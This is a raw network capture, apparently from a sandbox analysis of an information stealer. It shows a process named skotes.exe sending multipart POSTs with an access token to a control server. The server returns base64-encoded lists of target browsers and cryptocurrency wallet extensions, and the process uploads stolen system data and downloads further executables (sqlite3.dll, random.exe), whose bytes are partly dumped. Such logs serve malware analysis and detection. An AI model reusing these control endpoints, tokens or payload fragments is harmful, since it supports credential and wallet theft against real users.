R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 18, 2024 19:04:38.606601954 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Nov 18, 2024 19:04:38.607992887 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IEHCBAFIDAECBGCBFHJE Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 45 48 43 42 41 46 49 44 41 45 43 42 47 43 42 46 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 35 38 37 39 30 32 38 61 62 36 30 64 39 61 38 64 61 64 37 65 64 62 34 36 32 34 66 37 39 36 61 34 39 33 39 62 64 66 31 36 65 63 30 64 63 31 33 36 66 30 30 34 33 30 31 64 63 64 36 61 32 63 32 37 63 64 38 64 61 64 32 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 43 42 41 46 49 44 41 45 43 42 47 43 42 46 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 43 42 41 46 49 44 41 45 43 42 47 43 42 46 48 4a 45 2d 2d 0d 0a Data Ascii: ------IEHCBAFIDAECBGCBFHJEContent-Disposition: form-data; name="token"95879028ab60d9a8dad7edb4624f796a4939bdf16ec0dc136f004301dcd6a2c27cd8dad2------IEHCBAFIDAECBGCBFHJEContent-Disposition: form-data; name="message"plugins------IEHCBAFIDAECBGCBFHJE--
Nov 18, 2024 19:04:38.898118973 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 18:04:38 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 18, 2024 19:04:38.898134947 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Nov 18, 2024 19:04:38.898150921 CET	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Nov 18, 2024 19:04:38.898263931 CET	1236	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Nov 18, 2024 19:04:38.898463964 CET	1236	IN	Data Raw: 59 57 5a 6a 61 48 77 78 66 44 42 38 4d 48 78 4e 57 55 74 4a 66 47 4a 74 61 57 74 77 5a 32 39 6b 63 47 74 6a 62 47 35 72 5a 32 31 75 63 48 42 6f 5a 57 68 6b 5a 32 4e 70 62 57 31 70 5a 47 56 6b 66 44 46 38 4d 48 77 77 66 46 4e 77 62 47 6c 72 61 58 Data Ascii: YWZjaHwxfDB8MHxNWUtJfGJtaWtwZ29kcGtjbG5rZ21ucHBoZWhkZ2NpbW1pZGVkfDF8MHwwfFNwbGlraXR5fGpoZmpmY2xlcGFjb2xkbWpta21kbG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2Z
Nov 18, 2024 19:04:38.898479939 CET	1164	IN	Data Raw: 56 32 46 73 62 47 56 30 66 47 68 6c 5a 57 5a 76 61 47 46 6d 5a 6d 39 74 61 32 74 72 63 47 68 75 62 48 42 76 61 47 64 73 62 6d 64 74 59 6d 4e 6a 62 47 68 70 66 44 46 38 4d 48 77 77 66 46 68 32 5a 58 4a 7a 5a 53 42 58 59 57 78 73 5a 58 52 38 61 57 Data Ascii: V2FsbGV0fGhlZWZvaGFmZm9ta2trcGhubHBvaGdsbmdtYmNjbGhpfDF8MHwwfFh2ZXJzZSBXYWxsZXR8aWRubmJkcGxtcGhwZmxmbmxrb21ncGZicGNnZWxvcGd8MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGp
Nov 18, 2024 19:04:38.900430918 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAAFBAKECAEGCBFIEGDG Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 41 46 42 41 4b 45 43 41 45 47 43 42 46 49 45 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 35 38 37 39 30 32 38 61 62 36 30 64 39 61 38 64 61 64 37 65 64 62 34 36 32 34 66 37 39 36 61 34 39 33 39 62 64 66 31 36 65 63 30 64 63 31 33 36 66 30 30 34 33 30 31 64 63 64 36 61 32 63 32 37 63 64 38 64 61 64 32 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 46 42 41 4b 45 43 41 45 47 43 42 46 49 45 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 46 42 41 4b 45 43 41 45 47 43 42 46 49 45 47 44 47 2d 2d 0d 0a Data Ascii: ------DAAFBAKECAEGCBFIEGDGContent-Disposition: form-data; name="token"95879028ab60d9a8dad7edb4624f796a4939bdf16ec0dc136f004301dcd6a2c27cd8dad2------DAAFBAKECAEGCBFIEGDGContent-Disposition: form-data; name="message"fplugins------DAAFBAKECAEGCBFIEGDG--
Nov 18, 2024 19:04:39.183393955 CET	335	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 18:04:39 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 18, 2024 19:04:39.298243999 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGCBAFCFIJJJECBGIIJK Host: 185.215.113.206 Content-Length: 5839 Connection: Keep-Alive Cache-Control: no-cache
Nov 18, 2024 19:04:39.298270941 CET	5839	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 47 43 42 41 46 43 46 49 4a 4a 4a 45 43 42 47 49 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 35 38 37 39 30 Data Ascii: ------EGCBAFCFIJJJECBGIIJKContent-Disposition: form-data; name="token"95879028ab60d9a8dad7edb4624f796a4939bdf16ec0dc136f004301dcd6a2c27cd8dad2------EGCBAFCFIJJJECBGIIJKContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 18, 2024 19:04:40.098197937 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 18:04:39 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 18, 2024 19:04:40.346606016 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 18, 2024 19:04:40.625742912 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 18:04:40 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Nov 18, 2024 19:04:40.625777006 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Nov 18, 2024 19:04:40.625790119 CET	1236	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q
Nov 18, 2024 19:04:40.626127958 CET	1236	IN	Data Raw: c0 5d c3 55 89 e5 8b 45 08 85 c0 74 07 5d ff 25 78 66 eb 61 5d c3 55 b8 08 00 00 00 89 e5 5d c3 55 31 c0 89 e5 5d c3 55 89 e5 83 ec 18 89 04 24 ff 15 4c 66 eb 61 c9 c3 55 89 e5 83 ec 18 8b 4d 08 85 c9 74 0c 89 0c 24 ff 15 4c 66 eb 61 99 eb 04 31 Data Ascii: ]UEt]%xfa]U]U1]U$LfaUMt$Lfa11UtBtRJ$~HD]UUtB]U1UtB]U1UtJtBB]JvYU@aSuK?

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49991	185.215.113.16	80	7628	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 19:04:37.365029097 CET	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 18, 2024 19:04:38.276704073 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 18:04:38 GMT Content-Type: application/octet-stream Content-Length: 922624 Last-Modified: Mon, 18 Nov 2024 17:09:10 GMT Connection: keep-alive ETag: "673b74b6-e1400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 ae 74 3b 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 64 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPELt;g"dw@pL@@@d\|@u4@.text `.rdata@@.datalpH@.rsrc@@@.relocuv@B
Nov 18, 2024 19:04:38.276724100 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 Data Ascii: tM8h#DYh#DYh#DrYY<h#DaYQh$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY
Nov 18, 2024 19:04:38.276734114 CET	224	IN	Data Raw: b7 6c fd ff ff 8b ce e8 f7 ba 00 00 33 c9 c7 46 0c 01 00 00 00 89 0e 8b 03 8b 40 04 03 c7 39 88 98 fb ff ff 74 35 89 4d fc 51 8d 4d fc 51 8d 88 94 fb ff ff e8 2f 05 00 00 8b 03 8d 8f 98 fb ff ff 8b 40 04 03 c8 e8 c6 04 00 00 8b 03 8b 40 04 03 c7 Data Ascii: l3F@9t5MQMQ/@@ulIOkOu3_OO_`d<IvY\|#l)\
Nov 18, 2024 19:04:38.276794910 CET	1236	IN	Data Raw: 8b ce c7 06 44 c9 49 00 e8 74 02 00 00 ff 76 04 e8 82 e8 01 00 8b f3 c7 87 4c fd ff ff 40 c9 49 00 59 39 9f 54 fd ff ff 0f 87 f2 0f 04 00 ff b7 50 fd ff ff 89 9f 54 fd ff ff e8 58 e8 01 00 8b f3 c7 87 3c fd ff ff 40 c9 49 00 59 39 9f 44 fd ff ff Data Ascii: DItvL@IY9TPTX<@IY9D@D.,@IY9404Y$<IvY-
Nov 18, 2024 19:04:38.276807070 CET	1236	IN	Data Raw: 64 00 00 00 33 c9 66 a3 32 15 4d 00 41 a2 34 15 4d 00 6a 0a 89 0d 38 15 4d 00 89 0d 3c 15 4d 00 89 0d 40 15 4d 00 a2 50 15 4d 00 66 a3 fc 16 4d 00 89 0d f4 16 4d 00 89 0d f8 16 4d 00 b9 fa 00 00 00 58 89 0d 14 17 4d 00 a3 44 15 4d 00 a3 48 15 4d Data Ascii: d3f2MA4Mj8M<M@MPMfMMMXMDMHMLMUWrVj@YuON8w^_]UVuWVgFO GFGFGF aPF0G0_^]33@AQQQQA,Q
Nov 18, 2024 19:04:38.276818037 CET	1236	IN	Data Raw: 8b 4f 04 8b 45 f8 8b 04 81 66 83 78 08 7f 0f 85 33 08 04 00 80 7d ff 00 8d 8e 64 01 00 00 75 1e 80 be 6d 01 00 00 00 8b 8e 68 01 00 00 75 16 8b 49 04 8b 45 0c 41 89 08 5f 5e c9 c2 08 00 e8 de 08 00 00 eb f3 8b 49 30 eb e5 55 8b ec 83 ec 18 83 65 Data Ascii: OEfx3}dumhuIEA_^I0UeEeVEVPuuxMM3M^At)ttH9AxUSVu3WyQ>t
Nov 18, 2024 19:04:38.276829958 CET	1236	IN	Data Raw: 04 04 00 8b 55 f8 8b 5d fc 83 e8 01 0f 85 ba fe ff ff e9 1e 04 04 00 8b 5d fc 8d 45 ec 43 89 7d ec 50 8d 8d 6c ff ff ff 89 5d fc 47 e8 ed 03 00 00 8b 85 70 ff ff ff 89 45 c0 8b 55 f8 e9 8a fe ff ff 8b 41 04 6a 7f 59 66 39 48 08 0f 85 bc 05 04 00 Data Ascii: U]]EC}Pl]GpEUAjYf9HEHOlEuE{lepEE;&r8EE}TPGZEHXE!#AjYf9Hm
Nov 18, 2024 19:04:38.276971102 CET	548	IN	Data Raw: c2 04 00 55 8b ec 56 8b 75 08 57 8b f9 8b 06 89 07 8d 4f 10 8b 46 04 89 47 04 8b 46 08 89 47 08 8b 46 0c 89 47 0c 8d 46 10 83 61 08 00 50 e8 e0 d7 00 00 8d 46 20 8d 4f 20 83 61 08 00 50 e8 d0 d7 00 00 8b c7 5f 5e 5d c2 04 00 33 d2 33 c0 40 89 51 Data Ascii: UVuWOFGFGFGFaPF O aP_^]33@QAQA,Q Q(UE}}u4}}}} u}$~3] jjwsjjsjUVF}^W3jZQL
Nov 18, 2024 19:04:38.276983023 CET	1236	IN	Data Raw: 74 24 14 b9 f0 13 4d 00 e8 59 40 00 00 8a 5c 24 11 ff 35 00 14 4d 00 68 18 14 4d 00 e8 be f1 ff ff 85 c0 0f 85 61 00 04 00 80 7c 24 12 01 0f 84 73 00 04 00 e8 59 00 00 00 e8 34 01 00 00 80 3d 04 14 4d 00 00 bb 90 19 4d 00 75 07 8b cb e8 f3 0c 00 Data Ascii: t$MY@\$5MhMa\|$sY4=MMuW0M=MuD$8PIL$(m_^[]U4SVWj<Ihj8I54Ijc5XMh5XMMh5XMM3MVjj
Nov 18, 2024 19:04:38.276994944 CET	1236	IN	Data Raw: 4d 00 50 e8 fa 78 00 00 8d 45 f0 83 ee 02 50 8d 4d 90 e8 a8 00 00 00 39 1d 1c 14 4d 00 0f 84 8d fd 03 00 85 f6 0f 88 a5 fd 03 00 8b 4d 0c e8 f3 33 00 00 8d 4e 01 8b f8 51 6a 01 57 e8 4a 3a 00 00 83 c4 0c 89 75 e0 33 c0 89 5d e8 40 89 45 ec 53 50 Data Ascii: MPxEPM9MM3NQjWJ:u3]@ESPEPW@Mt~5EPML?CESjPWf@MKEPM#;\|M"hM+M@_^[U;Q}BAM;t4!x]MhI:
Nov 18, 2024 19:04:38.283209085 CET	1236	IN	Data Raw: a8 23 4d 00 89 1d ac 23 4d 00 89 1d b0 23 4d 00 89 1d b4 23 4d 00 c7 05 b8 23 4d 00 44 c9 49 00 89 1d bc 23 4d 00 89 1d c0 23 4d 00 89 1d c4 23 4d 00 a3 c8 23 4d 00 89 1d cc 23 4d 00 89 1d d0 23 4d 00 89 1d d4 23 4d 00 89 1d dc 23 4d 00 c7 05 e0 Data Ascii: #M#M#M#M#MDI#M#M#M#M#M#M#M#M#M<I#M#M#M#MfNtL$(>T$(0h(IL$,D$(#MPL$tL$mqD$3PjVhIhIL$cL$(c_^

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49994	185.215.113.43	80	7628	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
